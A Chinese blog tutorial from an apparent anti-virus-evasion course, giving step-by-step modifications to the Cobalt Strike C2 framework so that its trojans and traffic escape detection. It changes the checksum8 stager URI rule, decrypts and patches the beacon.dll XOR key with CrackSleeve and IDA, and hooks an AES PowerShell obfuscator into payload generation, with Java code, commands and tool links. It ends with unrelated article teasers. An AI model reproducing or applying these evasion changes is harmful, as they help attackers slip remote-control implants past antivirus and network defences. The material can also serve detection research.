news 2026/4/23 9:58:47

安全工具篇魔改二开CheckSum8算法Beacon密钥Stager流量生成机制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
安全工具篇魔改二开CheckSum8算法Beacon密钥Stager流量生成机制

免杀对抗——第一百六十四天

安全工具篇&魔改二开&CheckSum8算法&Beacon密钥&Stager流量&生成机制

前置知识

  • 上节课我们对CS进行了简单的魔改操作，但是这些操作基本对流量识别影响不大，因此我们本节课会继续深入进行改动，包括修改Checksum8算法、Beacon密钥以及混淆算法融入等

安全工具 - CS魔改二开-Checksum8算法

  • 首先是Checksum8算法，它的计算逻辑上节课也讲过：ASCII码之和 % 256，在CS当中，如果是64位木马那么checksum8的值为93，如果是32位木马那么值为92，因此在默认的CS当中，不管流量包怎么变化，只要第一个数据包中GET请求路径checksum8算法值为这两个，那么基本可以确定是CS远控通道
  • 因此如果我们要对其进行免杀，首当其冲地就是改动这个特征，在cloudstrike/WebServer.java文件中的这个方法：
// checksum8算法实现publicstaticlongchecksum8(Stringtext){if(text.length()<4){return0L;}else{text=text.replace("/","");longsum=0L;for(intx=0;x<text.length();++x){sum+=(long)text.charAt(x);}returnsum%256L;}}// 判断是64位还是32位木马publicstaticbooleanisStager(Stringuri){returnchecksum8(uri)==92L;}publicstaticbooleanisStagerX64(Stringuri){returnchecksum8(uri)==93L&&uri.matches("/[A-Za-z0-9]{4}");}

  • 可以看到checksum8算法中要满足url长度大于4，然后经过该算法结果为92或者93，那么我们这里就有两种思路：

    1. 不改动算法，改动路径checksum8计算后的返回值来判断木马类型
    2. 改动算法，重新根据新的算法来判断木马类型

  • 当然前者可能需要大量的改动并且不一定成功，所以我们选择后者，假设我们设定路径为index.jsp为64位木马第一个GET请求包，设定login.jsp为32位木马第一个GET请求包，那么返回值就为147和148：

  • 所以我们修改isStagerX64()方法的判定值为147L，修改isStager()方法的判定值为148L：

  • 此外，我们还需要修改common/CommonUtils中的MSFURL()和MSFURL_X64()两个方法的返回值，强制等于我们给定的两个请求路径：

  • 当然这里它的逻辑是随机生成后续的URL路径，所以这里我们其实可以弄得更加随机化一点，不过主要是为了演示效果，所以就强制返回固定值了

  • 改完之后我们重新打包构建，然后上线执行看看数据包：

  • 可以看到这里确实改动了，但是服务端返回的是404，所以这里尤其要注意需要将服务端的jar包替换成当前改动后的才行：

  • 成功上线，并且之前的checksum8算法特征也改动了，同样32位这里也能够正常上线：

  • 随机化的路径：

安全工具 - CS魔改二开-Beacon默认密钥

  • 参考文章：CobaltStrike魔改与增强
  • 首先我们要了解由Windows Execute模块生成的就是Stager，它的上线逻辑如下：
运行EXE -> 自动生成并访问符合checksum8校验的URI进行远程下载Stager -> 上线
  • 因此在这个过程中由两个特征会被捕获到：
    1. URL的checksum8规则
    2. 访问URL下载解析Stager
  • 关于第一个特征我们已经解决了，那关于第二个特征就是默认的stager文件它是通过XOR加密的，被下载下来之后解密然后上线
  • 而这个加密密钥是固定的，如果采用默认密钥就会导致被文件在落地之前被杀毒软件解密识别，因此无法落地
  • 在CS不同版本中，异或密钥是不同的，但都是固定的值：
    • CS 3.x版本的配置信息是通过异或0x69解密出来的
    • CS 4.x版本的配置信息是通过异或0x2e解密出来的
  • 其实就是什么呢？有的杀毒软件它是具有流量特征识别的功能比如卡巴和DF，因此这类杀软它可能就会对这个stager文件进行扫描识别然后杀掉
  • 可以通过这个工具自行解析看看：Sentinel-One/CobaltStrikeParser
  • 第一步我们需要改动sleeve/beacon.dll和sleeve/beacon64.dll这两个文件，这就是stager文件的原型
  • 而这两个文件是被加密的，所以我们要通过网上脚本先进行解密，流程如下：
32位：beacon.dll --解密--> beacon.dll --异或--> UJQm...stager文件 64位：beacon.dll --解密--> beacon.dll --异或--> UJQm...stager文件
  • 解密脚本在这里：
    1. 4.0~4.5：https://github.com/GH-H4d35/CrackSleeve
    2. 4.7：https://github.com/kyxiaxiang/CrackSleeve4.7
    3. 4.8：https://github.com/kyxiaxiang/CrackSleeve4.8
    4. 4.9：https://github.com/kyxiaxiang/CrackSleeve4.9
  • 下载下来之后，先将打包好的jar包放到当前目录，然后通过如下命令解密：
javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java java -classpath"cobaltstrike.jar;./"CrackSleeve decode

  • 解密完成之后，以64位为例，我们找到beacon64.dll文件，然后用IDA打开，shift+B找到xor 0x2e这里：

  • 然后通过Edit->Patch program->Change byte...，然后将这里的2E改为自定义的值：

  • 保存之后将beacon/BeaconPayload.java代码中这里改成其十进制数：

  • 再通过刚才的工具将新的dll文件加密回去之后再替换sleeve/beacon64.dll文件：

java -classpath"cobaltstrike.jar;./"CrackSleeve encode

  • 打包编译完成之后记得替换服务端的jar包，然后运行64位的木马看看新的stager文件是否能被刚才的工具解析出来：

  • 可以看到现在解不出来了，所以说我们的改动是有效果的，不过卡巴依旧杀，所以我们还需进一步改动，比如二次异或、换加密算法等等

安全工具 - CS魔改二开-PowerShell混淆融入

  • 最后我们来看一下关于Powershell的混淆免杀，之前我们已经讲过了手动去调用工具进行混淆，而这里我们可以改动代码让CS在生成.ps1文件时就自动生成免杀的脚本
  • 那有三种方式：一种是直接将免杀后的脚本替换resources/template.x64.ps1默认的文件；一种是调用在生成之前调用第三方工具进行混淆；一种是自己写一个混淆函数调用
  • 我们这里看看第二种，找到common/ResourceUtils.java文件，然后在它创建ps1文件之前调用我们之前的工具，代码如下：
publicbyte[]_buildPowerShellNoHint(byte[]var1,Stringvar2)throwsIOException,InterruptedException{Stringcommand="powershell -Command Import-Module ./AES-Encoder.ps1;Invoke-AES-Encoder -InFile template.x64.ps1 -OutFile x64.ps1 -Iterations 6";// 这里是你要执行的命令Processprocess=Runtime.getRuntime().exec(command);// 读取命令输出InputStreaminputStream=process.getInputStream();BufferedReaderreader=newBufferedReader(newInputStreamReader(inputStream));Stringline;while((line=reader.readLine())!=null){System.out.println(line);}// 等待命令执行完成intexitCode=process.waitFor();System.out.println("命令执行完毕，退出码："+exitCode);// 关闭流inputStream.close();reader.close();InputStreamvar3=CommonUtils.resource("x64.ps1");byte[]var4=CommonUtils.readAll(var3);var3.close();Stringvar5=CommonUtils.bString(var4);byte[]var6=newbyte[]{35};var1=CommonUtils.XorString(var1,var6);var5=CommonUtils.strrep(var5,"%%DATA%%",Base64.encode(var1));returnCommonUtils.toBytes(var5);}
  • 这里记得将AES-Encoder.ps1和template.x64.ps1文件放到根目录下，这样在我们生成powershell文件的时候就会生成混淆之后的脚本了：
版权声明: 本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若内容造成侵权/违法违规/事实不符，请联系邮箱：809451989@qq.com进行投诉反馈，一经查实，立即删除！
网站建设 2026/4/11 9:57:52

一篇 1948 年的论文，为什么至今仍在塑造我们的通信世界？

1948 年&#xff0c;克劳德E香农发表了一篇题为《通信的数学理论》的论文。彼时&#xff0c;它只是一篇看起来相当克制的技术论文&#xff0c;没有宏大的宣言&#xff0c;也没有铺陈未来图景。但正是这篇文章&#xff0c;在随后半个多世纪里&#xff0c;悄然塑造了我们今天所熟…

作者头像 李华
网站建设 2026/4/19 4:41:35

C语言字符串与内存操作函数模拟实现详解

一、strstr函数模拟实现 1.1 函数功能 strstr用于在字符串 str1中查找子串 str2的首次出现位置&#xff1a; const char* strstr(const char* str1, const char* str2); char* strstr(char* str1, const char* str2); 找到则返回第一次出现的起始地址 找不到则返回NULL 1…

作者头像 李华
网站建设 2026/4/18 12:10:06

去哪儿网白盒漏洞 AI 运营实践

前言 在当今快速发展的软件开发环境中&#xff0c;安全漏洞管理正在经历一场深刻的变革。随着 DevOps 理念的广泛普及&#xff0c;安全左移&#xff08;Shift Left Security&#xff09;已成为行业共识&#xff0c;企业纷纷将安全检测前置到开发流程的早期阶段&#xff0c;构建…

作者头像 李华
网站建设 2026/4/23 6:54:44

90%的项目失败，都是从需求管理开始崩塌的！

在产品更新节奏加快、项目复杂性日益提升的当下&#xff0c;许多企业在研发过程中面临着一个共同的难题&#xff1a;需求在流程中容易“丢失”或“变形”。从前端市场输入到后端技术实现&#xff0c;往往缺乏清晰的链条与协作机制&#xff0c;造成计划混乱、执行偏差、任务拖延…

作者头像 李华
网站建设 2026/3/27 3:22:52

NGUI裁剪Shader的底层逻辑与性能优化

先来个很真实的场景： 你接手一个 NGUI 老项目，打开某个滚动列表（ScrollView），发现两件事： 列表能裁剪，超出区域的 item 不显示——看起来很正常。 但一到低端机就掉帧，Profiler 里 UI 渲染时间飙升，GPU 像在哭。 你问：“不就是裁剪一下吗？不让超出区域的像素画出来，…

作者头像 李华
网站建设 2026/4/1 9:31:21

如何在vue3+ts项目中实现zebra扫描枪扫码效果

1实现一个hooks import { onMounted, onUnmounted, ref } from vueinterface ScanOptions {threshold?: numberminLength?: numberonScanProgress?: (buffer: string) > voidonScanSuccess: (code: string) > void }export function useScanGun(options: ScanOptions…

作者头像 李华